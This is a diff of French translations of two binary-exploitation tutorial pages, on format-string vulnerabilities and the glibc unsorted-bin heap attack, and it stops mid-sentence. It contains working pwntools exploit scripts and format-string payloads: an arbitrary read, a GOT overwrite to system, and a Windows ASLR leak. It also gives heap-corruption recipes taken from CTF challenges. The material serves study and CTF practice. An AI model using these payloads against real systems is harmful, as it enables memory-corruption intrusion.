diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 89be7c5b9..bc733312f 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,11 +5,11 @@ ## Informations de base -En C **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne. Le **premier paramètre** attendu par cette fonction est le **texte brut contenant les spécificateurs de format**. Les **paramètres suivants** sont les **valeurs** destinées à **remplacer** les spécificateurs dans le texte brut. +En C, **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut contenant les spécificateurs de format**. Les **paramètres suivants** attendus sont les **valeurs** servant à **substituer** les **spécificateurs** dans le texte brut. D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**. -La vulnérabilité apparaît lorsqu'un **texte contrôlé par un attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra construire une **entrée spéciale abusant** des **printf format string** capabilities pour lire et **écrire n'importe quelles données à n'importe quelle adresse (lisible/écrivible)**. Cela permet ainsi d'**exécuter du code arbitraire**. +La vulnérabilité apparaît lorsqu'un **texte contrôlé par l'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra fabriquer une **entrée spéciale abusant** de la **chaîne de format de `printf`** pour lire et **écrire n'importe quelles données à n'importe quelle adresse (readable/writable)**. Cela permet d'**exécuter du code arbitraire**. #### Spécificateurs de format: ```bash @@ -22,20 +22,20 @@ La vulnérabilité apparaît lorsqu'un **texte contrôlé par un attaquant est u %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` -**Exemples :** +**Exemples:** -- Exemple vulnérable : +- Exemple vulnérable: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -- Utilisation normale: +- Utilisation normale : ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- Avec des arguments manquants : +- Avec des arguments manquants: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` @@ -52,9 +52,9 @@ fclose(output_file); return 0; } ``` -### **Accès aux pointeurs** +### **Accéder aux pointeurs** -Le format **`%$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (sur la pile). Donc si vous voulez lire le 4ème paramètre de la pile avec printf, vous pouvez faire : +Le format **`%$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le nième paramètre (depuis le stack). Donc si vous voulez lire le 4e paramètre du stack en utilisant printf vous pouvez faire : ```c printf("%x %x %x %x") ``` @@ -66,14 +66,14 @@ printf("%4$x") ``` et lire directement le quatrième. -Remarquez que l'attaquant contrôle le `printf` **parameter, which basically means that** son entrée va se trouver dans la stack lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la stack. +Remarquez que l'attaquant contrôle le paramètre de `printf` **, ce qui signifie essentiellement que** son entrée sera dans la stack lorsque `printf` est appelé, ce qui veut dire qu'il pourrait écrire des memory addresses spécifiques dans la stack. > [!CAUTION] -> Un attaquant contrôlant cette entrée pourra **ajouter arbitrary address in the stack et faire en sorte que `printf` y accède**. Dans la section suivante il sera expliqué comment utiliser ce behaviour. +> Un attaquant contrôlant cette entrée pourra **ajouter des memory addresses arbitraires dans la stack et faire en sorte que `printf` y accède**. Dans la section suivante il sera expliqué comment utiliser ce comportement. ## **Arbitrary Read** -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +Il est possible d'utiliser le formatter **`%n$s`** pour faire en sorte que **`printf`** récupère l'**address** située en **position n**, la suive et **l'affiche comme si c'était une string** (affiche jusqu'à rencontrer 0x00). Donc, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence en 4th position dans la stack, il est possible d'imprimer le début du binaire avec : ```python from pwn import * @@ -87,15 +87,15 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Notez que vous ne pouvez pas placer l'adresse 0x8048000 au début de l'entrée car la chaîne sera terminée par 0x00 à la fin de cette adresse. +> Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée par le 0x00 à la fin de cette adresse. ### Trouver l'offset -Pour trouver l'offset de votre entrée vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`**, puis **augmentez** la valeur jusqu'à récupérer les `A's`. +Pour trouver l'offset de votre entrée, vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`** et **augmenter** la valeur jusqu'à récupérer les `A's`.
-Force brute pour l'offset printf +Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -128,43 +128,42 @@ p.close() ### Utilité -Arbitrary reads peuvent être utiles pour : +Les lectures arbitraires peuvent être utiles pour : - **Dump** le **binary** depuis la mémoire -- **Accéder à des parties spécifiques de la mémoire où des** **info** sont stockées (comme canaries, encryption keys ou custom passwords comme dans ce [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Accéder à des parties spécifiques de la mémoire où des informations sensibles sont stockées** (comme les canaries, encryption keys ou custom passwords comme dans ce [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Le formatter **`%$n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée** dans le paramètre sur la stack. Si un attaquant peut écrire autant de caractères qu'il veut avec printf, il pourra faire en sorte que **`%$n`** écrive un nombre arbitraire à une adresse arbitraire. +Le formatter **`%$n`** **écrit** le **nombre d'octets écrits** à **l'adresse indiquée** dans le paramètre sur la stack. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il pourra faire en sorte que **`%$n`** écrive un nombre arbitraire à une adresse arbitraire. -Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée ; il est donc possible d'utiliser le formatter **`%.%$n`** pour écrire le nombre **``** dans l'**adresse pointée par la `num` position**. +Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée ; il est possible d'utiliser le formatter **`%.%$n`** pour écrire le nombre **``** dans **l'adresse pointée par la position `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Cependant, notez que généralement, pour écrire une adresse telle que `0x08049724` (qui est un HUGE number à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet d'**écrire seulement 2 Bytes**. Par conséquent, cette opération est effectuée deux fois, une pour les 2B les plus élevés de l'adresse et une autre pour les plus bas. +Cependant, notez que, généralement, pour écrire une adresse telle que `0x08049724` (qui est un nombre ÉNORME à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois : une pour les 2 octets supérieurs de l'adresse et une autre pour les 2 octets inférieurs. -Ainsi, cette vulnérabilité permet d'**écrire n'importe quoi à n'importe quelle adresse (arbitrary write).** - -Dans cet exemple, l'objectif va être d'**écraser** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse utiliser d'autres techniques arbitrary write to exec : +Ainsi, cette vulnérabilité permet de **écrire n'importe quoi à n'importe quelle adresse (arbitrary write).** +Dans cet exemple, l'objectif sera de **écraser** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Cela pourrait cependant être exploité via d'autres techniques arbitrary write to exec : {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} Nous allons **écraser** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et la **pointer** vers la **fonction** **`system`**.\ -Comme mentionné, pour écrire l'adresse, habituellement 2 étapes sont nécessaires : vous **écrivez d'abord 2Bytes** de l'adresse puis les 2 autres. Pour cela on utilise **`$hn`**. +Comme mentionné, pour écrire l'adresse, il faut généralement 2 étapes : vous **écrivez d'abord 2 octets** de l'adresse puis les 2 autres. Pour cela, on utilise **`$hn`**. -- **HOB** désigne les 2 higher bytes de l'adresse -- **LOB** désigne les 2 lower bytes de l'adresse +- **HOB** correspond aux 2 octets supérieurs de l'adresse +- **LOB** correspond aux 2 octets inférieurs de l'adresse -Ensuite, à cause du fonctionnement des format string, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre. +Ensuite, en raison du fonctionnement des format string vous devez **écrire d'abord le plus petit** de [HOB, LOB] puis l'autre. -If HOB < LOB\ +Si HOB < LOB `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Si HOB > LOB `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB @@ -173,14 +172,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Modèle Pwntools -Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans : +Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans: {{#ref}} format-strings-template.md {{#endref}} -Ou cet exemple basique depuis [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +Ou cet exemple basique disponible [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -201,26 +200,26 @@ p.interactive() ``` ## Format Strings to BOF -Il est possible d'abuser des actions d'écriture d'une vulnérabilité format string pour **écrire dans des adresses de la stack** et exploiter un **buffer overflow** de type vulnérabilité. +Il est possible d'abuser des actions d'écriture d'une vulnérabilité de format string pour **écrire aux adresses de la stack** et exploiter un type de vulnérabilité **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -Sur Windows x64, les quatre premiers paramètres entiers/pointeurs sont passés dans les registres : RCX, RDX, R8, R9. Dans de nombreux call-sites vulnérables, la chaîne contrôlée par l'attaquant est utilisée comme argument de format mais aucun varargs n'est fourni, par exemple: +Sur Windows x64 les quatre premiers paramètres entiers/pointeurs sont passés dans les registres : RCX, RDX, R8, R9. Dans de nombreux call-sites bogués la chaîne contrôlée par l'attaquant est utilisée comme argument de format mais aucun varargs n'est fourni, par exemple: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Parce qu'aucun varargs n'est passé, toute conversion comme "%p", "%x", "%s" fera que le CRT lira le prochain argument variadique depuis le registre approprié. Avec la Microsoft x64 calling convention la première lecture pour "%p" provient de R9. Quelle que soit la valeur transitoire dans R9 au call-site sera affichée. En pratique cela révèle souvent un pointeur stable dans le module (par ex., un pointeur vers un objet local/global précédemment placé dans R9 par le code environnant ou une valeur callee-saved), qui peut être utilisé pour retrouver la base du module et contourner ASLR. +Comme aucun varargs n'est passé, toute conversion comme "%p", "%x", "%s" forcera le CRT à lire le prochain argument variadic depuis le registre approprié. Avec la convention d'appel Microsoft x64 la première telle lecture pour "%p" provient de R9. La valeur transitoire contenue dans R9 au site d'appel sera imprimée. En pratique, cela provoque souvent le leak d'un pointeur stable à l'intérieur du module (e.g., un pointeur vers un objet local/global précédemment placé dans R9 par le code environnant ou une callee-saved value), qui peut être utilisé pour récupérer la base du module et contourner l'ASLR. -Practical workflow: +Practical workflow : -- Injectez un format inoffensif tel que "%p " tout au début de la chaîne contrôlée par l'attaquant afin que la première conversion s'exécute avant tout filtrage. -- Capturez le leaked pointer, identifiez l'offset statique de cet objet à l'intérieur du module (en reversing une fois avec symbols ou une copie locale), et récupérez la base de l'image comme `leak - known_offset`. -- Réutilisez cette base pour calculer des adresses absolues pour les ROP gadgets et les IAT entries à distance. +- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering. +- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`. +- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely. -Example (abbreviated python): +Exemple (python abrégé) : ```python from pwn import remote @@ -232,12 +231,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -Notes: +Notes : - L'offset exact à soustraire est trouvé une fois lors du reversing local puis réutilisé (même binaire/version). -- Si "%p" n'imprime pas un pointeur valide au premier essai, essayez d'autres specifiers ("%llx", "%s") ou plusieurs conversions ("%p %p %p") pour sampler d'autres argument registers/stack. -- Ce pattern est spécifique à la Windows x64 calling convention et aux implémentations printf-family qui récupèrent des varargs inexistants depuis des registres lorsque the format string les demande. +- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack. +- Ce pattern est spécifique à la calling convention Windows x64 et aux implémentations de printf-family qui récupèrent des varargs inexistants depuis des registres lorsque le format string les demande. -Cette technique est extrêmement utile pour bootstrap ROP sur des services Windows compilés avec ASLR et sans primitives évidentes de memory disclosure. +Cette technique est extrêmement utile pour bootstrapper ROP sur des services Windows compilés avec ASLR et sans primitives évidentes de divulgation de mémoire. ## Autres exemples & références @@ -245,11 +244,12 @@ Cette technique est extrêmement utile pour bootstrap ROP sur des services Windo - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, utilisation basique de format strings pour leak le flag depuis le stack (pas besoin d'altérer le flow d'exécution) +- 32 bit, no relro, no canary, nx, no pie, utilisation basique des format strings pour leak le flag depuis la stack (pas besoin d'altérer le flux d'exécution) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string pour overwrite l'adresse `fflush` avec la fonction win (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string pour écraser l'adresse `fflush` avec la fonction win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string pour écrire une adresse dans main dans `.fini_array` (de sorte que le flow boucle 1 fois de plus) et écrire l'adresse de `system` dans la GOT pointant à `strlen`. Quand le flow revient dans main, `strlen` est exécuté avec l'input utilisateur et pointant vers `system`, il exécutera les commandes passées. +- 32 bit, relro, no canary, nx, no pie, format string pour écrire une adresse dans main dans `.fini_array` (donc le flux revient une fois de plus) et écrire l'adresse de `system` dans la table GOT qui pointe vers `strlen`. Lorsque le flux revient à main, `strlen` est exécutée avec l'entrée utilisateur et pointant vers `system`, elle exécutera les commandes passées. + ## Références diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 959a82cb3..25cd97e8e 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -2,20 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -## Informations de base +## Basic Information -Pour plus d'informations sur ce qu'est un unsorted bin, consultez cette page : +Pour plus d'informations sur ce qu'est un unsorted bin, consultez cette page : {{#ref}} bins-and-memory-allocations.md {{#endref}} -Les unsorted lists peuvent écrire l'adresse de `unsorted_chunks (av)` dans l'adresse `bk` du chunk. Ainsi, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk présent dans l'unsorted bin, il pourrait **écrire cette adresse à une adresse arbitraire**, ce qui peut être utile pour leak des adresses Glibc ou contourner certaines protections. +Unsorted lists sont capables d'écrire l'adresse de `unsorted_chunks (av)` dans le champ `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de l'unsorted bin, il pourrait être capable d'**écrire cette adresse à une adresse arbitraire**, ce qui peut être utile pour leak des adresses Glibc ou contourner certaines protections. -Donc, essentiellement, cette attaque permet de **placer un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui peut être une adresse du heap ou une adresse Glibc. Une cible classique était **`global_max_fast`** pour permettre de créer des fast bin bins avec des tailles plus grandes (et passer d'une unsorted bin attack à une fast bin attack). +Donc, essentiellement, cette attaque permet de **poser un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui peut être une adresse du heap ou une adresse Glibc. Une cible traditionnelle était **`global_max_fast`** pour permettre de créer des fast bin avec des tailles plus grandes (et passer d'un unsorted bin attack à un fast bin attack). -- Note moderne (glibc ≥ 2.39) : `global_max_fast` est devenu un global sur 8 bits. Écrire aveuglément un pointeur là‑dessus via un unsorted‑bin write corrompra les données libc adjacentes et n'augmentera plus de manière fiable la limite des fastbin. Préférez d'autres cibles ou primitives contre glibc 2.39+. Voir "Modern constraints" ci‑dessous et envisagez de combiner avec d'autres techniques comme un [large bin attack](large-bin-attack.md) ou un [fast bin attack](fast-bin-attack.md) une fois que vous disposez d'une primitive stable. +- Modern note (glibc ≥ 2.39): `global_max_fast` est devenu un global 8 bits. Écrire aveuglément un pointeur là via une écriture unsorted-bin corrompra les données libc adjacentes et ne relèvera plus de manière fiable la limite des fastbin. Préférez d'autres cibles ou d'autres primitives contre glibc 2.39+. Voir "Modern constraints" ci‑dessous et envisagez de combiner avec d'autres techniques comme un [large bin attack](large-bin-attack.md) ou un [fast bin attack](fast-bin-attack.md) une fois que vous avez une primitive stable. > [!TIP] > T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. @@ -27,7 +27,7 @@ Donc, essentiellement, cette attaque permet de **placer un grand nombre à une a > > Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. -Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer de la mémoire suffisamment grande afin de ne pas tomber dans une Tcache, vous pouvez voir que l'erreur mentionnée précédemment apparaît, empêchant cette technique : **`malloc(): unsorted double linked list corrupted`** +Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer assez grand afin de ne pas finir dans une Tcache vous pouvez voir que l'erreur précédemment mentionnée apparaît empêchant cette technique : **`malloc(): unsorted double linked list corrupted`** ### How the write actually happens @@ -36,36 +36,36 @@ Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_atta - If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. - Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. -## Contraintes modernes (glibc ≥ 2.33) +## Modern constraints (glibc ≥ 2.33) -Pour utiliser de manière fiable les unsorted‑bin writes sur les glibc actuels : +To use unsorted‑bin writes reliably on current glibc: -- Tcache interference : pour les tailles qui tombent dans tcache, les frees sont détournés vers celui‑ci et n’atteindront pas l'unsorted bin. Soit - - effectuez des requêtes avec des tailles > MAX_TCACHE_SIZE (≥ 0x410 sur 64‑bit par défaut), ou - - remplissez le bin tcache correspondant (7 entrées) afin que les frees supplémentaires atteignent les global bins, ou - - si l'environnement est contrôlable, désactivez tcache (par exemple, GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Integrity checks on the unsorted list : sur le prochain chemin d'allocation qui examine l'unsorted bin, glibc vérifie (simplifié) : - - `bck->fd == victim` et `victim->fd == unsorted_chunks(av)` ; sinon il abort avec `malloc(): unsorted double linked list corrupted`. -- Cela signifie que l'adresse que vous ciblez doit tolérer deux écritures : d'abord `*(TARGET) = victim` au moment du free ; ensuite, lorsque le chunk est retiré, `*(TARGET) = unsorted_chunks(av)` (l'allocator réécrit `bck->fd` vers la tête du bin). Choisissez des cibles où forcer simplement une grande valeur non‑nulle est utile. -- Cibles typiques stables dans les exploits modernes - - État applicatif ou global qui traite des valeurs "grandes" comme des flags/limites. - - Primitives indirectes (par ex., préparer un [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ultérieur ou pivoter vers un write‑what‑where ultérieur). - - Évitez `__malloc_hook`/`__free_hook` sur les nouvelles glibc : ils ont été supprimés en 2.34. Évitez `global_max_fast` sur ≥ 2.39 (voir note suivante). -- À propos de `global_max_fast` sur les glibc récents - - Sur glibc 2.39+, `global_max_fast` est un global sur 8 bits. L'astuce classique consistant à y écrire un pointeur heap (pour agrandir les fastbins) ne fonctionne plus proprement et risque de corrompre l'état de l'allocator adjacent. Préférez d'autres stratégies. +- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either +- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or +- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or +- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): +- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. +- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. +- Typical stable targets in modern exploits +- Application or global state that treats "large" values as flags/limits. +- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). +- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). +- About `global_max_fast` on recent glibc +- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. ## Minimal exploitation recipe (modern glibc) -Objectif : obtenir une écriture arbitraire unique d'un pointeur heap à une adresse arbitraire en utilisant la primitive d'insertion unsorted‑bin, sans provoquer de crash. +Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. - Layout/grooming - - Allouer A, B, C avec des tailles suffisamment grandes pour éviter tcache (par ex., 0x5000). C empêche la consolidation avec le top chunk. +- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. - Corruption - - Overflow depuis A dans le header de B pour définir `B->bk = (mchunkptr)(TARGET - 0x10)`. +- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. - Trigger - - `free(B)`. Au moment de l'insertion, l'allocator exécute `bck->fd = B`, donc `*(TARGET) = B`. +- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. - Continuation - - Si vous prévoyez de continuer à allouer et que le programme utilise l'unsorted bin, attendez‑vous à ce que l'allocator écrive ensuite `*(TARGET) = unsorted_chunks(av)`. Les deux valeurs sont typiquement grandes et peuvent suffire à modifier la sémantique de taille/limite dans des cibles qui ne testent que la "grandeur". +- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". Pseudocode skeleton: ```c @@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • If you cannot bypass tcache with size, fill the tcache bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to unsorted. -> • If the program immediately aborts on the next allocation due to unsorted-bin checks, re‑examine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write. +> • Si vous ne pouvez pas bypasser tcache avec la taille, remplissez le tcache bin pour la taille choisie (7 frees) avant de free le chunk corrompu afin que le free aille dans unsorted. +> • Si le programme abort immédiatement sur la prochaine allocation à cause des checks unsorted-bin, re-vérifiez que `victim->fd` vaut toujours la head du bin et que votre `TARGET` contient le pointeur exact `victim` après le premier write. ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +C'est en réalité un concept très basique. Les chunks dans l'unsorted bin vont contenir des pointeurs. Le premier chunk dans l'unsorted bin aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie du main arena (Glibc)**.\ +Donc, si vous pouvez **mettre un chunk dans un unsorted bin et le lire** (use after free) ou **le réallouer sans écraser au moins 1 des pointeurs** puis le **lire**, vous pouvez obtenir un **Glibc info leak**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Une attaque similaire [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) utilisait une structure de 4 chunks (A, B, C et D - D est juste pour empêcher la consolidation avec le top chunk) : un null byte overflow dans B était utilisé pour faire indiquer à C que B était unused. Aussi, dans B le champ `prev_size` a été modifié pour que la taille au lieu d'être la taille de B soit A+B.\ +Ensuite C a été deallocated, et consolidé avec A+B (mais B était toujours in use). Un nouveau chunk de taille A a été alloué puis les adresses libc leakées ont été écrites dans B d'où elles ont été leakées. -## References & Other examples +## Références & Autres exemples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. -- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. -- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. -- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` -- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- L'objectif est d'overwriter une variable globale avec une valeur supérieure à 4869 pour pouvoir récupérer le flag et PIE n'est pas activé. +- Il est possible de générer des chunks de tailles arbitraires et il y a un heap overflow avec la taille désirée. +- L'attaque commence en créant 3 chunks : chunk0 pour abuser de l'overflow, chunk1 pour être overflowed et chunk2 pour que le top chunk ne consolide pas les précédents. +- Ensuite, chunk1 est freed et chunk0 est overflowed pour que le `bk` pointer de chunk1 pointe vers : `bk = magic - 0x10` +- Puis, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'unsorted bin attack et modifiera la valeur de la variable globale, permettant d'obtenir le flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. -- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. -- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. -- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. -- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. -- Now a **fast bin attack** is performed: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- La fonction merge est vulnérable parce que si les deux indexes passés sont identiques elle fera un realloc dessus puis le free mais retournera un pointeur vers cette région freed qui peut être 